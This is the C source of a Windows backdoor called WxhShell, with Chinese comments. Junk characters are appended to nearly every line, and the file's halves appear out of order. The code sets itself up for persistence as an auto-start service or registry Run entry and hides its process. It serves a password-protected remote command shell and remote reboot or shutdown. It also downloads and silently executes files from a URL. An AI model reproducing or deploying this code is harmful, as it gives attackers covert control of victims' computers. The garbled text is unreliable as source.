    } ?&Lb6(}e  
  // 关机 /JvNJ f  
  case 'd': { kY*D s;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C9~CP8  
    if(Boot(SHUTDOWN)) LTi0,03l<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X&K1>dgWP  
    else { ~O<Bs{8  
    closesocket(wsh); !#>{..}}3  
    ExitThread(0); g n'. 9";j  
    } 1(m8 9C[  
    break; <%|2yPb]  
    } %=GnGgu  
  // 获取shell \s,ZE6dQ  
  case 's': { #/YKA{  
    CmdShell(wsh); ^Zg"`&E  
    closesocket(wsh); #wt#-U;  
    ExitThread(0); ,3x3&c  
    break; oJ5V^.  
  } "_9Dau$  
  // 退出 &u.t5m7(  
  case 'x': { ]A'E61t<n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B[8  
    CloseIt(wsh);  snX5mD  
    break; z0c_&@uj*  
    } 8)T.[AP  
  // 离开 >R :Bkf-  
  case 'q': { O[$ &]>x]]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8E|S`I  
    closesocket(wsh); `|I h"EZ  
    WSACleanup(); ^'#vUj:"  
    exit(1); @dw0oRF  
    break; O{Wy;7i  
        } $yG=exh3v  
  } $+-2/=>Xk  
  } c\7~_w2  
0*x  
  // 提示信息 3PPN_Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  w;)@2}  
} !A g W @  
  } 85-00m ~  
)p 2kx  
  return; IE,xiV  
} >=$( ,8"  
:H3qa2p  
// shell模块句柄 @=:( b"Sg  
int CmdShell(SOCKET sock) V D-,)f  
{ [$f  
STARTUPINFO si; Bh<)e5lP:  
ZeroMemory(&si,sizeof(si)); fsb_*sh&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q/L:0ovR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :IvKxOv  
PROCESS_INFORMATION ProcessInfo;  qauk,t  
char cmdline[]="cmd"; |h4aJv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bZz ,'  
  return 0; &E0P`F,GQA  
} yKgA"NaM  
|cUTP!iy  
// 自身启动模式 N"@aisi)  
int StartFromService(void) yMB*/vs  
{ xXQDHc -Ba  
typedef struct )BmK'H+l  
{ @.@O#  
  DWORD ExitStatus; U TC|8  
  DWORD PebBaseAddress; <S <@V?h  
  DWORD AffinityMask; XhhV 7J_F  
  DWORD BasePriority; oYI7 .w  
  ULONG UniqueProcessId; )w=ehjV^m  
  ULONG InheritedFromUniqueProcessId; *\L\Bzm  
}   PROCESS_BASIC_INFORMATION; ncjtv"2R  
z^'3f!:3  
PROCNTQSIP NtQueryInformationProcess; :  *k   
V]&0"HX2r!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <XDYnWz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &3#19v7/  
x(ue |UG  
  HANDLE             hProcess; /J9|.];%r  
  PROCESS_BASIC_INFORMATION pbi; unY+/p $  
/-4rcC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W!MO }0s  
  if(NULL == hInst ) return 0; %L,mj  
L/t'|<m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iK%%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t4X:I&l-M:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w7+3?'L  
?H3Ls~R  
  if (!NtQueryInformationProcess) return 0; D;*P'%_Z  
L"e8S%UqX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Po_y7 8ZD  
  if(!hProcess) return 0; `o4alK\  
qp;eBa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G |033(j  
Y)lYEhF  
  CloseHandle(hProcess); l3[2b Qx  
U|Z Yoc+](  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2SVBuV/R  
if(hProcess==NULL) return 0; }M*yE]LL;Z  
ZgarxV*  
HMODULE hMod; 3V2dN )\  
char procName[255]; D;nm~O%  
unsigned long cbNeeded; Okxuhzn>"  
:rR)rj'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v!~tX*q  
AYb-BaIc  
  CloseHandle(hProcess); a/p} ?!\  
}JPLhr|d^  
if(strstr(procName,"services")) return 1; // 以服务启动 gn,D9d+  
&BxDS .  
  return 0; // 注册表启动 p$.m=+K~  
} bYt [/K,  
0[E}[{t`  
// 主模块 K;)(fc  
int StartWxhshell(LPSTR lpCmdLine) hc#Sy:T>  
{ &puPn:_  
  SOCKET wsl; Q &~|P}  
BOOL val=TRUE; x6N)T4J(  
  int port=0; |0^~S  
  struct sockaddr_in door; EIdEXAC(  
' ?tx?t  
  if(wscfg.ws_autoins) Install(); 8U86-'Pq  
wjEyU:  
port=atoi(lpCmdLine); [P_@-:(O  
VCf/EkC  
if(port<=0) port=wscfg.ws_port; oyC5M+shP9  
VkW N1A  
  WSADATA data; |tn.ZEgw3~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w&F.LiX^  
I) ]"`2w2w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^?<gz!(-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h$`zuz  
  door.sin_family = AF_INET; 05SK$ Y<<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :LrB9Cf$n  
  door.sin_port = htons(port); :[\M|iAo  
rvEX ;8TS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j{&*]QTN  
closesocket(wsl); dQ#$(<v[  
return 1; j;TXZ`|(  
} 4 x|yzUx  
1RHFWK5Si  
  if(listen(wsl,2) == INVALID_SOCKET) {  :d) y  
closesocket(wsl); ngLpiU0H&  
return 1; 2e_m>I  
}  2-$O$&s.  
  Wxhshell(wsl); X^o0t^  
  WSACleanup(); 1Y+g^Z;G  
U,Q  
return 0; IEmjWw4  
O n/q&h5  
} aWS_z6[t#6  
u,~/oTg O  
// 以NT服务方式启动 |X47&Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %^KNY ;E  
{ (ay((|)  
DWORD   status = 0; >}H3V]  
  DWORD   specificError = 0xfffffff; BZP{{  
Ht4A   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6N< snBmd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r}nz )=\Cj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .(g"(fgF  
  serviceStatus.dwWin32ExitCode     = 0; ]L6[ vJHx  
  serviceStatus.dwServiceSpecificExitCode = 0; &RB{0Qhx  
  serviceStatus.dwCheckPoint       = 0; &*j# [6  
  serviceStatus.dwWaitHint       = 0;  Q'~3Ik  
[6cF#_)*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lY$9-Q(  
  if (hServiceStatusHandle==0) return; ;s\ck:Xg  
^!A@:}t>  
status = GetLastError(); /0 2-0mNv  
  if (status!=NO_ERROR) )dh_eqnX  
{ }}b &IA#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +wIv|zj9  
    serviceStatus.dwCheckPoint       = 0; Xte"tf9(C  
    serviceStatus.dwWaitHint       = 0; }'u0Q6Obj  
    serviceStatus.dwWin32ExitCode     = status; wNm1H[{  
    serviceStatus.dwServiceSpecificExitCode = specificError; e| Sw+fhy<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xn6'*u>+;[  
    return; PN"SBsc*j-  
  } nnZM{< !hF  
+/ U6p!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hM nJH_siY  
  serviceStatus.dwCheckPoint       = 0; wl5+VC*l0  
  serviceStatus.dwWaitHint       = 0; "30R%oL]=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hqc)Ydg_%  
} |C`.m |  
H^fErl  
// 处理NT服务事件,比如:启动、停止 \AY*x=PF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #-7w |  
{ UPcx xtC  
switch(fdwControl) {?uG] G7  
{ -izZ D  
case SERVICE_CONTROL_STOP: w%?6s3   
  serviceStatus.dwWin32ExitCode = 0; 6 ~+/cY-V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mO^ )k  
  serviceStatus.dwCheckPoint   = 0; )-\[A<(  
  serviceStatus.dwWaitHint     = 0; IA~wmOF  
  { tB#-}Gf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I* 4g ;1x  
  } fI }v}L^  
  return; dQ-:]T (  
case SERVICE_CONTROL_PAUSE:  % Z-B{I(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =bh.V@*  
  break; ~]78R!HJ  
case SERVICE_CONTROL_CONTINUE: <G60R^o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DAVgP7h'  
  break; ^3lEfI<pBm  
case SERVICE_CONTROL_INTERROGATE: !Ct'H1J-  
  break; 94'0X  
}; D:#e;K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' }T6dS  
} F.$NYr/|y  
}%Vx2Q  
// 标准应用程序主函数 RxUzJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <2ymfL-q  
{ "yf#sEabV  
!b{7gUjyI  
// 获取操作系统版本 &BE'~G  
OsIsNt=GetOsVer(); IRK(y*6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }0 b[/ZwQ  
;oivG)hJl  
  // 从命令行安装 V1 O]L66  
  if(strpbrk(lpCmdLine,"iI")) Install(); U}:e-  
Bs;.oK5!n@  
  // 下载执行文件 `kM:5f+>W  
if(wscfg.ws_downexe) { dPb@[k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4n}^1eQ9  
  WinExec(wscfg.ws_filenam,SW_HIDE); "PfNC<MQo  
} 859ID8F  
=*=qleC3  
if(!OsIsNt) { Zd <8c^@  
// 如果时win9x,隐藏进程并且设置为注册表启动 IgNL1KRD  
HideProc(); dFzlcKFFD  
StartWxhshell(lpCmdLine); aqoxj[V^3L  
} {hi'LA-4@  
else o06vC  
  if(StartFromService()) eG08Xt |lc  
  // 以服务方式启动 %dDwus  
  StartServiceCtrlDispatcher(DispatchTable); ?X~U[dV?  
else &? z6f9*$  
  // 普通方式启动 p^X \~Yibs  
  StartWxhshell(lpCmdLine); ES9|eo6  
&vV_,$  
return 0; "2>_eZ#b  
} C,G$C7$%  
-Ou@T#h"  
7#9yAS+x(  
uS&NRf9A  
=========================================== hM~zO1XW  
gQlL0jAV  
"FH03 9  
_su$]s  
]`u_d}`  
#9 u2LK  
" !fK9YW(Im  
OE[N$,4I*  
#include <stdio.h> D.Z4noMA6  
#include <string.h> t`eUD>\  
#include <windows.h> [fl^1!3{  
#include <winsock2.h> SJsRHQ  
#include <winsvc.h> PNG!q}(c  
#include <urlmon.h> L0EF CQ7  
{/K_NSg+h  
#pragma comment (lib, "Ws2_32.lib") ~[3B<^e  
#pragma comment (lib, "urlmon.lib") m\;@~o'k  
vj4n=F,Z  
#define MAX_USER   100 // 最大客户端连接数 WN9K*Tt~o&  
#define BUF_SOCK   200 // sock buffer C ]+J  
#define KEY_BUFF   255 // 输入 buffer | x/Z qY  
?n V& :~eY  
#define REBOOT     0   // 重启 THf*<|  
#define SHUTDOWN   1   // 关机 !)+8:8H'  
3%DDN\q\u  
#define DEF_PORT   5000 // 监听端口 " twq#Alx  
\K%A}gnHe  
#define REG_LEN     16   // 注册表键长度  >q^l  
#define SVC_LEN     80   // NT服务名长度 vY'E+M"+@  
qgk6 \&K[  
// 从dll定义API %eQw\o,a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `AcT}. u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W=ar&O~}n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;=F]{w]$+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OM 4, Sevk  
~CQTPR  
// wxhshell配置信息 ^E= w3g&  
struct WSCFG { }.74w0~0^  
  int ws_port;         // 监听端口 e{fm7Cc)D  
  char ws_passstr[REG_LEN]; // 口令 \A=:6R%Qb  
  int ws_autoins;       // 安装标记, 1=yes 0=no ' Y cVFi  
  char ws_regname[REG_LEN]; // 注册表键名 $*z>t*{7  
  char ws_svcname[REG_LEN]; // 服务名 #t?tt,nc}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j/PNi@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iw?*Wp25  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,/6 aA7(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UCL aCt -  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cr"AK"TQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  g1B[RSWv  
'/ v@q]!  
}; @WfX{485  
1GI/gc\  
// default Wxhshell configuration  k.("<)  
struct WSCFG wscfg={DEF_PORT, *9I/h~I  
    "xuhuanlingzhe", <{k r5<  
    1, kZJ.G  
    "Wxhshell", )ND%MYJSq  
    "Wxhshell", g}Esj"7  
            "WxhShell Service", i{5,mS&  
    "Wrsky Windows CmdShell Service", "*N=aHsj  
    "Please Input Your Password: ", Y1Sfhs )  
  1, > nOU 8  
  "http://www.wrsky.com/wxhshell.exe", p`}'-A|@  
  "Wxhshell.exe" +ew9%={zB  
    }; Ql.abU  
i_kKE+Q  
// 消息定义模块 76j5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FatLc|[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( S=RFd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Z<&M|G  
char *msg_ws_ext="\n\rExit."; eh5j  
char *msg_ws_end="\n\rQuit."; N]iu o.  
char *msg_ws_boot="\n\rReboot..."; j@4AY}[tX  
char *msg_ws_poff="\n\rShutdown..."; >4@/x{{  
char *msg_ws_down="\n\rSave to "; L6E8A?>5rD  
E0-<-w3'  
char *msg_ws_err="\n\rErr!"; :$gR >.`  
char *msg_ws_ok="\n\rOK!";  Re^~8q[  
f9FLtdh \7  
char ExeFile[MAX_PATH]; L] ce13K  
int nUser = 0; }Rx`uRx\  
HANDLE handles[MAX_USER]; r[Zg$CW  
int OsIsNt; w!N?:}P<N  
?OFl9%\ V  
SERVICE_STATUS       serviceStatus; =vc8u&L2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `R+I(Cb  
\C eP.,<  
// 函数声明 >Qg 9KGk'  
int Install(void); W]U}, g8Z  
int Uninstall(void); @Wb_Sz4`  
int DownloadFile(char *sURL, SOCKET wsh); 2qkZ B0[  
int Boot(int flag); o2 vBY]Tj  
void HideProc(void); !Ey=  
int GetOsVer(void); ^qP}/H[QT  
int Wxhshell(SOCKET wsl); 32KL~32Y  
void TalkWithClient(void *cs); UoSzxL  
int CmdShell(SOCKET sock); QFYO_$1 Y)  
int StartFromService(void); x{.+i'  
int StartWxhshell(LPSTR lpCmdLine); H@%Y"iIUP  
W{z{AxS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4IH,:w=ofN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p ! _\a  
&)y$XsSMW  
// 数据结构和表定义 4UV<Q*B\F  
SERVICE_TABLE_ENTRY DispatchTable[] = )%T< Mw2u  
{ M7JQw/,xs  
{wscfg.ws_svcname, NTServiceMain}, ZI>')T<@j"  
{NULL, NULL} ,2C{X+t  
}; gvLzE&V}  
zIE{U  
// 自我安装 TC$)::C1  
int Install(void) U1!#TD)@  
{ <yq kJ  
  char svExeFile[MAX_PATH]; ]`,jaD  
  HKEY key; i`hr'}x  
  strcpy(svExeFile,ExeFile); |1[3RnG S  
UBZ37P  
// 如果是win9x系统,修改注册表设为自启动 g{d(4=FM  
if(!OsIsNt) { |*5803h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G &LOjd 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S pqbr@j  
  RegCloseKey(key); ^}PG*h|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Y.I;EPKt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _>k&M7OU4  
  RegCloseKey(key); ?0%3~E`l:  
  return 0; 1O{(9nNj  
    } 8uZM%7kI6+  
  } fKYR DGn  
} _b)=ERBbCo  
else { *`g'*R  
!um~P  
// 如果是NT以上系统,安装为系统服务 b2<((H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^KRe(  
if (schSCManager!=0) _9<nM48+t  
{ 2b i:Q9  
  SC_HANDLE schService = CreateService l}jC$B`5  
  ( yJRqX]MLA  
  schSCManager, 6#SUfK;  
  wscfg.ws_svcname, E@(nKe&6T_  
  wscfg.ws_svcdisp, Jdc{H/10  
  SERVICE_ALL_ACCESS, gFQ\zOlY8a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f}%paE"  
  SERVICE_AUTO_START, -\dcs?  
  SERVICE_ERROR_NORMAL, NQpC]#n  
  svExeFile, G9 g -EP\  
  NULL, A$=h'!$  
  NULL, 3)6&)7`*  
  NULL, G3wkqd  
  NULL, "!F%X%/  
  NULL 818,E  
  ); RNMd,?dj  
  if (schService!=0) SE7mn6,%\  
  { \a7caT{  
  CloseServiceHandle(schService); B}U:c]  
  CloseServiceHandle(schSCManager); +$;* "o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  2.>aL  
  strcat(svExeFile,wscfg.ws_svcname); M8{J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {IgL H`@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =lOdg3#\a  
  RegCloseKey(key); qe3d,!  
  return 0; bK69Rb@\A  
    } k+5l  
  } BV-(`#~:y  
  CloseServiceHandle(schSCManager); V=cJdF  
} $c0<I59&|  
} f]C`]qg  
@yj$  
return 1; KKcajN  
} \M U-D,@  
WM8])}<L  
// 自我卸载 dMlJ2\ ]u  
int Uninstall(void) &)ED||r,  
{ E gD$A!6N8  
  HKEY key; .:I^O[k  
s$D"  
if(!OsIsNt) { 5>!I6[{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _X]\#^UiO2  
  RegDeleteValue(key,wscfg.ws_regname); 6'[gd  
  RegCloseKey(key); ]VcuD05"C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l&Cy K#B:\  
  RegDeleteValue(key,wscfg.ws_regname); F(DM$5z[  
  RegCloseKey(key); ]]eI80u[  
  return 0; |QHIB?C?`  
  } Bag_0.H&m  
} Is[n7Q  
} {TVQ]G%'b  
else { Memb`3  
\f-@L;8#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Eu/f`8  
if (schSCManager!=0) JH+uBZh6  
{ w/, A@fLL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8I]rC<O6:  
  if (schService!=0) [O@U@bD9  
  { me YSW  
  if(DeleteService(schService)!=0) { U_C[9Z'P  
  CloseServiceHandle(schService); O[j$n  
  CloseServiceHandle(schSCManager); H.]p\ UY9  
  return 0; 044Q>Qz,  
  } :2*0Jh3_  
  CloseServiceHandle(schService); @>q4hYF  
  } -_^#7]  
  CloseServiceHandle(schSCManager); Y;1s=B9  
} u-u:7VtH0=  
} U7xKu75G1  
|<2<`3  
return 1; J;S Z"I'  
} t3<HE_B|  
kk$D:UQX  
// 从指定url下载文件 )u=46EU_  
int DownloadFile(char *sURL, SOCKET wsh) U&o ~U] rm  
{ hH]oJ}H \  
  HRESULT hr; t;b1<TLn0  
char seps[]= "/"; 5;CqGzgoP  
char *token; >>T,M@s-:  
char *file; nU23D@l  
char myURL[MAX_PATH]; ?6V U4nK/*  
char myFILE[MAX_PATH]; /}Ct2w&<k  
Q;k D Jo  
strcpy(myURL,sURL); @g] >D  
  token=strtok(myURL,seps); S76x EL  
  while(token!=NULL) $VJE&b  
  { 'NN3XyD  
    file=token; xzb{g,c   
  token=strtok(NULL,seps); T!1Np'12zF  
  } W2]%QN=m$  
r"W<1H u  
GetCurrentDirectory(MAX_PATH,myFILE); )&[Zw{6P  
strcat(myFILE, "\\"); IXU~& 5&J  
strcat(myFILE, file); }_fVv{D   
  send(wsh,myFILE,strlen(myFILE),0); 4Ix~Feuph  
send(wsh,"...",3,0); {k)H.zwe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I3A xK A  
  if(hr==S_OK) 3^`.bm4 ^  
return 0; p]Q(Z  
else rU_FRk  
return 1; RPZ -  
q@d6P~[-gj  
} :MILOwF  
6.M!WK{+  
// 系统电源模块 ch)#NHZ9F  
int Boot(int flag) DcsQ6  
{ ',s{N9  
  HANDLE hToken; 6)1xjE#  
  TOKEN_PRIVILEGES tkp; .#_g.0<  
uz@lz +  
  if(OsIsNt) { 4`p[t;q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]8|peo{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;5:3 =F>ao  
    tkp.PrivilegeCount = 1; ksV ^Y=]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t]6 4=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )%bY2 pk  
if(flag==REBOOT) { 6BObV/S Jg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bj=YFV+  
  return 0; z<u@::  
} x?2y^3<5  
else { (P 9$Ei0fv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]64?S0p1c!  
  return 0; Q@- h  
} H1e^/JD)  
  } yG:Pg MrB  
  else { "FXT8Qxg  
if(flag==REBOOT) { '_%`0p1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k7=mxXF  
  return 0; 3M[5_OK   
} rlSflcK\\(  
else { |c:xK{Ik  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TN.&FDqC9  
  return 0; N=;VS-  
} N  Bpf  
} iYz!:TxP  
p} i5z_tS  
return 1; aWMEo`O%  
} 9 [wR/8Xm  
A{ Ejk|  
// win9x进程隐藏模块 \"Aw ATQ  
void HideProc(void) 3t$)saQR  
{ *h2)$^P%  
#6za  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ("_tML 8/p  
  if ( hKernel != NULL ) 0BQ<a  
  { }zqYn`ffD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q*caX   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "%)^:('Ki  
    FreeLibrary(hKernel); v DVE#Nm_  
  } Ks.kn7<l  
LYp=o8JW|  
return; QiQO>r  
} 'fIirGOl  
WHv xBd  
// 获取操作系统版本 oWdvpvO  
int GetOsVer(void) r^!P=BS{  
{ ZH=oQV)6  
  OSVERSIONINFO winfo; &g5+ |g (  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y%xn(Bn  
  GetVersionEx(&winfo); dS"%( ?o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ntEf-x<  
  return 1; UU 2 =W  
  else }~$96|J  
  return 0; N TL`9b  
} (ZHEPN  
?o.Q  
// 客户端句柄模块 &#qy:  
int Wxhshell(SOCKET wsl) ~U_,z)<`)c  
{ \!,qXfTMB  
  SOCKET wsh; |k=L&vs  
  struct sockaddr_in client; @Xq3>KJ_)H  
  DWORD myID; ?#_]Lzn'  
2?nhkast#=  
  while(nUser<MAX_USER) ;c;PNihg  
{ A+bU{oLr  
  int nSize=sizeof(client); <e7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [";<YR7iRN  
  if(wsh==INVALID_SOCKET) return 1; $.-\2;U  
1U< g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "+:~#&r  
if(handles[nUser]==0) 5b-: e? |  
  closesocket(wsh); >$p|W~x  
else cQldBc  
  nUser++; l]v>PIh~N  
  } Rjz~n38.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KsBi<wY  
RE}$(T=  
  return 0; ({#M*=&"  
} f S(IN~  
(lR9x6yf  
// 关闭 socket <X1^w  
void CloseIt(SOCKET wsh) "=9kX`(1y  
{ tN:PWj5  
closesocket(wsh); q(I`g;MF  
nUser--; %{ToWLb{I  
ExitThread(0); 9`p|>d!.  
} dS m; e_s  
ULIpb  
// 客户端请求句柄 Wa+q[E  
void TalkWithClient(void *cs) V_Oj?MMp n  
{ >gFEA0-  
=g+Rk+jn  
  SOCKET wsh=(SOCKET)cs; ]EZiPW-uy  
  char pwd[SVC_LEN]; MUfhk)"  
  char cmd[KEY_BUFF]; @>sZ'M2mq  
char chr[1]; /htM/pR  
int i,j; f/6,b&l,  
CDTM<0`%  
  while (nUser < MAX_USER) { f]Q`8nU  
%\2w 1  
if(wscfg.ws_passstr) { 26Jb{o9Z<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z&E!m   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .#[==  
  //ZeroMemory(pwd,KEY_BUFF); uWE :3  
      i=0;  }L.&@P<  
  while(i<SVC_LEN) {  *c6o#[l  
).b,KSi  
  // 设置超时 #N'W+M /  
  fd_set FdRead; 1fzHmD  
  struct timeval TimeOut; l4+Bs!i`  
  FD_ZERO(&FdRead); mE}@}@(  
  FD_SET(wsh,&FdRead); qoXncdDHZ  
  TimeOut.tv_sec=8; HM(S}>  
  TimeOut.tv_usec=0; Gn8'h TM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1||\3L/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #[C=LGi  
_rU%DL?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kg^VzNX  
  pwd=chr[0]; qu:nV"~_  
  if(chr[0]==0xd || chr[0]==0xa) { F+3}Gkn  
  pwd=0; Lradyo44u\  
  break; .sOEqwO}>  
  } ?]]d s]  
  i++; )IH|S5mG?  
    } C>:'@o Z  
b,Vg3BS  
  // 如果是非法用户,关闭 socket }[gk9uM_7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ecRY,MN  
} Ghb Jty`  
J>XMaI})U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d^sm;f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P@wuk1  
2/W5E-tn  
while(1) { }; ;Thfd  
g VPtd[r  
  ZeroMemory(cmd,KEY_BUFF); :ENdF `nC  
KtO|14R:  
      // 自动支持客户端 telnet标准   (L3Etan4RE  
  j=0; ,'f^K!iA   
  while(j<KEY_BUFF) { o'SZ sG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AYP*J  
  cmd[j]=chr[0]; t.`&Q|a  
  if(chr[0]==0xa || chr[0]==0xd) { Q`kJ3b   
  cmd[j]=0; v?=y9lEH@%  
  break; #oX8EMqs<  
  } i=^!? i  
  j++; J )DFH~p  
    } 74p=uQ  
bk}'wcX<+]  
  // 下载文件 p9`!.~[  
  if(strstr(cmd,"http://")) { -E(0}\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Glw_<ag[  
  if(DownloadFile(cmd,wsh)) qTuQ]*[-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); miTySY6 ^  
  else O ;dtz\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Hd~mfO\  
  } j*' +f~ A  
